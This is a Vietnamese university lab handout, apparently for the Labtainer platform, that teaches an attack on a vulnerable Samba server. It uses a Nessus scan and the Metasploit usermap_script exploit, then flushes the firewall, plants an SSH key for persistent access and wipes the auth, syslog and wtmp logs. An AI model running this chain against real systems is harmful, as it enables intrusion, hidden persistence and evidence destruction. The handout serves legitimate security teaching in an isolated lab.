PTIT USERMAP EXPLOIT Lab

1. Mục đích

Bài lab hướng dẫn người thực hiện 1 kịch bản tấn công lợi dụng lỗ hổng trong phiên bản Samba, thu thập thông tin, thực hiện duy trì xâm nhập và xoá dấu vết

2. Yêu cầu đối với sinh viên

Có kiến thức cơ bản về hệ điều hành Linux, các câu lệnh cơ bản

Biến cấu hình iptables, ssh

3. Nội dung thực hành

- Khởi động bài lab:
    - Vào terminal, gõ:

labtainer -r ptit-usermap-exploit

(chú ý: sinh viên sử dụng email stu.ptit.edu.vn của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Sau khi khởi động xong bốn terminal ảo sẽ xuất hiện, hai cái là đại diện cho máy tấn công: **attacker(kali)**, một cái là đại diện cho máy nạn nhân: **client(ubuntu),** một cái là **firefox**. Biết rằng 3 máy nằm cùng mạng LAN.

3.1. Tìm phiên bản Samba

- Lên trang chủ Nessus đăng ký tài khoản để nhận Nessus Essentials License:

  https://www.tenable.com/

- Trên terminal **firefox** gõ: firefox https://localhost:8834
  (có thể sử dụng **sudo lsof -i** để xem các cổng đang hoạt động)
    - Firefox hiện lên, người thực hiện đăng ký tài khoản Nessus và chọn Nessus Essentials, sau đó nhập License từ email
    - Tiến hành scan máy victim
    - Tiến hành export file scan victim dưới dạng .nessus
    - Từ terminal firefox tìm đến file scan victim vừa export về, sử dụng lệnh **grep** để tìm ra phiên bản Samba

  (Có để sẵn 1 file **scan_victim_w93a20.nessus** ở thư mục /home/ubuntu)

3.2. Tìm module khai thác và chiếm quyền điều khiển hệ thống

- Trên terminal attacker 1, khởi động msfconsole:
  - Tìm kiếm khai thác Samba: search samba
  - Sử dụng module: use exploit/multi/samba/usermap_script
  - Xem các tuỳ chọn: options
    - set rhost <ip_victim>
    - set rport <ip_victim>
    - exploit
  - Sau khi chiếm được quyền điều khiển hệ thống, di chuyển đến thư mục /root
    - Đọc file filetoview.txt

3.3. Cấu hình iptables để có thể ssh

- Từ terminal attacker 1, sử dụng lệnh iptables -L để xem các quy tắc của bảng trong hệ thống tường lửa
  - Sử dụng lệnh: iptables -F để xoá tất cả quy tắc
  - Thêm quy tắt để có thể ssh qua cổng 22:

    iptables -t filter -A INPUT -p tcp --dport 22 -j ACCEPT
  - Sử dụng lệnh iptables -L để xem lại quy tắc
- Từ terminal attacker 2, ssh thử tới victim:

  ssh 172.20.0.2
  - Máy victim bắt nhập mật khẩu (để kiểm tra có thể ssh), **enter** để bỏ qua

3.4. Sử dụng publickey authentication để kết nối tới victim

- Từ terminal attacker 2 sử dụng lệnh ssh-keygen để tạo cặp khoá (key_pair):

  sudo ssh-keygen
  - Di chuyển đến thư mục ssh: cd .ssh
  - Đọc nội dung file id_rsa.pub: **cat id_rsa.pub**
- Từ terminal attacker 1 sau khi cấu hình iptables, di chuyển đến thư mục .ssh
  - Copy nội dung file id_rsa.pub ở trên vào authorized_keys
- Từ terminal attacker 2, ssh bằng publickey tới victim:

  ssh 172.20.0.2

3.5. Tắt module khai thác

- Từ terminal attacker 2 sau khi ssh, di chuyển đến thư mục /etc/samba
  - Chỉnh sửa file cấu hình Samba: nano smb.conf
  - Comment dòng: username map script = /etc/samba/scripts/mapusers.sh (đoạn này cmt hoặc xoá đi đều checkwork được)
- Từ attacker 1, người dùng tiến hành exploit lại máy victim (msfconsole - exploit)
  - Nếu không exploit được tức là thành công

3.6. Xoá log

- Di chuyển tới thư mục log: cd /var/log
  - Sử dụng lệnh echo>name_log để xoá log
    - auth.log: thông tin xác thực và quyền hạn người dùng
    - syslog: các dịch vụ hệ thống
    - wtmp: lịch sử đăng nhập, đăng xuất thành công

4. Kết thúc bài lab

- Thực hiện checkwork:

  checkwork ptit-usermap-exploit
- Thực hiện chấm điểm bài lab:
  - Di chuyển đến thư mục: /labtainer/labtainer-instructor

    gradelab -w ptit-usermap-exploit
- Kết thúc bài lab:

  stoplab ptit-usermap-exploit